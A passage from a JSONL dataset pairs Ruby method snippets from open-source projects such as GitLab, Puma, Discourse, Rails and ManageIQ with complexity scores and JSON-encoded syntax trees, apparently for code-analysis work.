\"children\":[\"foreign_keys\"]},\"size\"]}]},{\"type\":\"lvasgn\",\"children\":[\"fk\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"foreign_keys\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"nullify\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fk\"]},\"on_delete\"]}]}]}]}","id":"f6520076-0eea-43af-bc3e-975f5480b34e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/debian/generate_distribution_service.rb","start_line":160,"raw_source":"def pool_prefix(package_file)\n        case @distribution\n        when ::Packages::Debian::GroupDistribution\n          \"pool/#{@distribution.codename}/#{package_file.package.project_id}\"\n        else\n          \"pool/#{@distribution.codename}\"\n        end\n      end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"pool_prefix\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"package_file\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@distribution\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Debian\"]},\"GroupDistribution\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"pool/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@distribution\"]},\"codename\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package_file\"]},\"package\"]},\"project_id\"]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"pool/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@distribution\"]},\"codename\"]}]}]}]}]}","id":"71a9e2bf-d709-455c-ba03-19e83f7d853a"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_binder.rb","start_line":361,"raw_source":"def test_close_listeners_closes_ios_unless_closed?\n    @binder.parse [\"tcp://127.0.0.1:0\"], @log_writer\n\n    bomb = @binder.listeners.first[1]\n    bomb.close\n    def bomb.close; raise \"Boom!\"; end # the bomb has been planted\n\n    assert @binder.listeners.any? { |_l, io| io.closed? }\n\n    @binder.close_listeners\n\n    assert @binder.listeners.all? { |_l, io| io.closed? }\n  end","complexity_score":20.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_close_listeners_closes_ios_unless_closed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@binder\"]},\"parse\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"tcp://127.0.0.1:0\"]}]},{\"type\":\"ivar\",\"children\":[\"@log_writer\"]}]},{\"type\":\"lvasgn\",\"children\":[\"bomb\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@binder\"]},\"listeners\"]},\"first\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bomb\"]},\"close\"]},{\"type\":\"defs\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bomb\"]},\"close\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Boom!\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@binder\"]},\"listeners\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_l\"]},{\"type\":\"arg\",\"children\":[\"io\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"closed?\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@binder\"]},\"close_listeners\"]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@binder\"]},\"listeners\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_l\"]},{\"type\":\"arg\",\"children\":[\"io\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"closed?\"]}]}]}]}]}","id":"e4ee2041-0f15-4291-ae44-801cb5dcfc83"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/activitypub/add_serializer.rb","start_line":40,"raw_source":"def target\n    ActivityPub::TagManager.instance.collection_uri_for(object.account, :featured)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"target\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"collection_uri_for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"account\"]},{\"type\":\"sym\",\"children\":[\"featured\"]}]}]}","id":"528aa883-104a-41d0-983e-52c48b898b87"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/groups/create_service.rb","start_line":86,"raw_source":"def remove_unallowed_params\n      unless can?(current_user, :create_group_with_default_branch_protection)\n        params.delete(:default_branch_protection)\n        params.delete(:default_branch_protection_defaults)\n      end\n\n      params.delete(:allow_mfa_for_subgroups)\n      params.delete(:math_rendering_limits_enabled)\n      params.delete(:lock_math_rendering_limits_enabled)\n    end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_unallowed_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"create_group_with_default_branch_protection\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"default_branch_protection\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"default_branch_protection_defaults\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"allow_mfa_for_subgroups\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"math_rendering_limits_enabled\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"lock_math_rendering_limits_enabled\"]}]}]}]}","id":"66628ab9-6f34-4181-a9d5-c410c2109d73"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/conversations/messages_controller.rb","start_line":4,"raw_source":"def index\n    @messages = message_finder.perform\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@messages\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"message_finder\"]},\"perform\"]}]}]}","id":"d26b790f-0972-43a7-9953-0448a0de582e"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/configurable_formatting.rb","start_line":24,"raw_source":"def valid_name?(node, name, given_style = style)\n        name.match?(self.class::FORMATS.fetch(given_style)) || class_emitter_method?(node, name)\n      end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_name?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"given_style\",{\"type\":\"send\",\"children\":[null,\"style\"]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"match?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"FORMATS\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"given_style\"]}]}]},{\"type\":\"send\",\"children\":[null,\"class_emitter_method?\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"52a37281-9152-41de-b05e-07c8158f805c"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/post_revisor.rb","start_line":457,"raw_source":"def revise_and_create_new_version\n    @version_changed = true\n    @post.version += 1\n    @post.public_version += 1\n    @post.last_version_at = @revised_at\n\n    revise\n    perform_edit\n    bump_topic\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"revise_and_create_new_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@version_changed\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"version\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"public_version\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"last_version_at=\",{\"type\":\"ivar\",\"children\":[\"@revised_at\"]}]},{\"type\":\"send\",\"children\":[null,\"revise\"]},{\"type\":\"send\",\"children\":[null,\"perform_edit\"]},{\"type\":\"send\",\"children\":[null,\"bump_topic\"]}]}]}","id":"798bfbf4-db1f-47cb-86d0-227ae01e63cf"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/base_controller.rb","start_line":31,"raw_source":"def serialize_collection(collection)\n          collection_serializer.new(\n            collection,\n            collection_options(collection).merge(params: serializer_params)\n          ).serializable_hash\n        end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"serialize_collection\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"collection\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"collection_serializer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"collection\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"collection_options\",{\"type\":\"lvar\",\"children\":[\"collection\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[null,\"serializer_params\"]}]}]}]}]},\"serializable_hash\"]}]}","id":"6d713bc2-9ec1-4630-acb7-bf675a61958d"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/models/recurring_meeting.rb","start_line":270,"raw_source":"def upcoming_instantiated_meetings\n    @upcoming_instantiated_meetings ||= scheduled_meetings\n      .includes(:meeting)\n      .not_cancelled\n      .joins(:meeting)\n      .where(\"meetings.start_time + (interval '1 hour' * meetings.duration) >= ?\", Time.current)\n      .order(start_time: :asc)\n  end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"upcoming_instantiated_meetings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@upcoming_instantiated_meetings\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scheduled_meetings\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"meeting\"]}]},\"not_cancelled\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"meeting\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"meetings.start_time + (interval '1 hour' * meetings.duration) >= ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_time\"]},{\"type\":\"sym\",\"children\":[\"asc\"]}]}]}]}]}]}","id":"f1c6353b-7f88-4094-8076-9cd87a045731"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/engine/github_actions_onebox.rb","start_line":60,"raw_source":"def type\n        return @type if defined?(@type)\n\n        match_url\n        @type\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@type\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@type\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"match_url\"]},{\"type\":\"ivar\",\"children\":[\"@type\"]}]}]}","id":"1e270a5d-b53a-4af6-b754-b307b959392c"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/file_depot_mixin.rb","start_line":19,"raw_source":"def verify_depot_settings(settings)\n      return true unless MiqEnvironment::Command.is_appliance?\n\n      settings[\"password\"] ||= find(settings[\"id\"]).authentication_password if settings[\"id\"]\n      res = mnt_instance(settings).verify\n      raise _(\"Connection Settings validation failed with error: %{error}\") % {:error => res.last} unless res.first\n\n      res\n    end","complexity_score":18.5,"ast_json":"{\"type\":\"def\",\"children\":[\"verify_depot_settings\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"settings\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqEnvironment\"]},\"Command\"]},\"is_appliance?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"settings\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"settings\"]},\"[]\",{\"type\":\"str\",\"children\":[\"password\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"settings\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},\"authentication_password\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mnt_instance\",{\"type\":\"lvar\",\"children\":[\"settings\"]}]},\"verify\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"first\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Connection Settings validation failed with error: %{error}\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"last\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}","id":"73b561d4-3bad-401a-936c-13e0fc9adbb1"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/visits/detector.rb","start_line":97,"raw_source":"def calculate_center(points)\n      lat_sum = points.sum(&:lat)\n      lon_sum = points.sum(&:lon)\n      count = points.size.to_f\n\n      [lat_sum / count, lon_sum / count]\n    end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_center\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"points\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lat_sum\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"points\"]},\"sum\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"lat\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"lon_sum\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"points\"]},\"sum\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"lon\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"points\"]},\"size\"]},\"to_f\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lat_sum\"]},\"/\",{\"type\":\"lvar\",\"children\":[\"count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lon_sum\"]},\"/\",{\"type\":\"lvar\",\"children\":[\"count\"]}]}]}]}]}","id":"7d115342-14bb-4b29-84a7-6ece708fec07"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/error_tracking_controller.rb","start_line":98,"raw_source":"def serialize_errors(errors)\n    ::ErrorTracking::ErrorSerializer\n      .new(project: project, user: current_user)\n      .represent(errors)\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"serialize_errors\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"errors\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ErrorTracking\"]},\"ErrorSerializer\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]},\"represent\",{\"type\":\"lvar\",\"children\":[\"errors\"]}]}]}","id":"b822004e-07f1-4d80-b205-7a2561a2cc26"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/destination/microsoft_dynamics/client.rb","start_line":62,"raw_source":"def create_access_token\n        uri = URI.parse(\"https://login.microsoftonline.com/#{@tenant_id}/oauth2/v2.0/token\")\n\n        payload = {\n          client_id: @client_id,\n          client_secret: @client_secret,\n          scope: \"https://#{@instance_url}.crm.dynamics.com/.default\",\n          grant_type: \"client_credentials\"\n        }\n\n        response = Net::HTTP.post_form(uri, payload)\n        JSON.parse(response.body)\n      end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_access_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://login.microsoftonline.com/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tenant_id\"]}]},{\"type\":\"str\",\"children\":[\"/oauth2/v2.0/token\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client_id\"]},{\"type\":\"ivar\",\"children\":[\"@client_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client_secret\"]},{\"type\":\"ivar\",\"children\":[\"@client_secret\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@instance_url\"]}]},{\"type\":\"str\",\"children\":[\".crm.dynamics.com/.default\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"grant_type\"]},{\"type\":\"str\",\"children\":[\"client_credentials\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTP\"]},\"post_form\",{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]}]}]}]}","id":"5fd6ece2-be9f-4a15-bbec-bece289c2d6c"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/autospec/manager.rb","start_line":336,"raw_source":"def process_queue\n    puts \"@@@@@@@@@@@@ process_queue\" if @debug\n    if @queue.length == 0\n      puts \"@@@@@@@@@@@@ queue is empty...\" if @debug\n      ensure_all_specs_will_run\n      @signal.signal\n    else\n      current = @queue.first\n      runner = current[2]\n      specs = runner.failed_specs\n      puts\n      puts\n      if specs.length == 0\n        puts \"No specs have failed yet! Aborting anyway\"\n        puts\n        abort_runners\n      else\n        puts \"The following specs have failed:\"\n        specs.each { |s| puts s }\n        puts\n        specs = specs.map { |s| [s, s, runner] }\n        queue_specs(specs)\n      end\n    end\n  end","complexity_score":40.85,"ast_json":"{\"type\":\"def\",\"children\":[\"process_queue\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@debug\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"@@@@@@@@@@@@ process_queue\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@queue\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@debug\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"@@@@@@@@@@@@ queue is empty...\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"ensure_all_specs_will_run\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@signal\"]},\"signal\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@queue\"]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"runner\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"lvasgn\",\"children\":[\"specs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runner\"]},\"failed_specs\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\"]},{\"type\":\"send\",\"children\":[null,\"puts\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"specs\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"No specs have failed yet! Aborting anyway\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\"]},{\"type\":\"send\",\"children\":[null,\"abort_runners\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"The following specs have failed:\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"specs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"lvar\",\"children\":[\"s\"]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\"]},{\"type\":\"lvasgn\",\"children\":[\"specs\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"specs\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},{\"type\":\"lvar\",\"children\":[\"s\"]},{\"type\":\"lvar\",\"children\":[\"runner\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"queue_specs\",{\"type\":\"lvar\",\"children\":[\"specs\"]}]}]}]}]}]}]}]}","id":"1d115072-fdd4-48e5-90b5-cd72b7990817"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/authenticator/base.rb","start_line":13,"raw_source":"def self.authorize(config, *args)\n      new(config).authorize(*args)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"authorize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]},{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"config\"]}]},\"authorize\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}","id":"c5902899-a835-4482-a451-ed4ba47b6919"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/scoping/default_scoping_test.rb","start_line":557,"raw_source":"def test_create_with_nested_attributes\n    assert_difference(\"Project.count\", 1) do\n      Developer.create_with(\n        projects_attributes: [{ name: \"p1\" }]\n      ).scoping do\n        Developer.create!(name: \"Aaron\")\n      end\n    end\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_create_with_nested_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_difference\",{\"type\":\"str\",\"children\":[\"Project.count\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"create_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"projects_attributes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"p1\"]}]}]}]}]}]}]},\"scoping\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Aaron\"]}]}]}]}]}]}]}","id":"b2acf73e-a7d6-4700-8509-4f830b44c9cd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/o_auth/auth_hash.rb","start_line":77,"raw_source":"def coerce_utf8(value)\n          value.is_a?(String) ? Gitlab::Utils.force_utf8(value) : value\n        end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"coerce_utf8\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"force_utf8\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"8bab2488-17ee-4606-9505-7bc54cf885ae"}
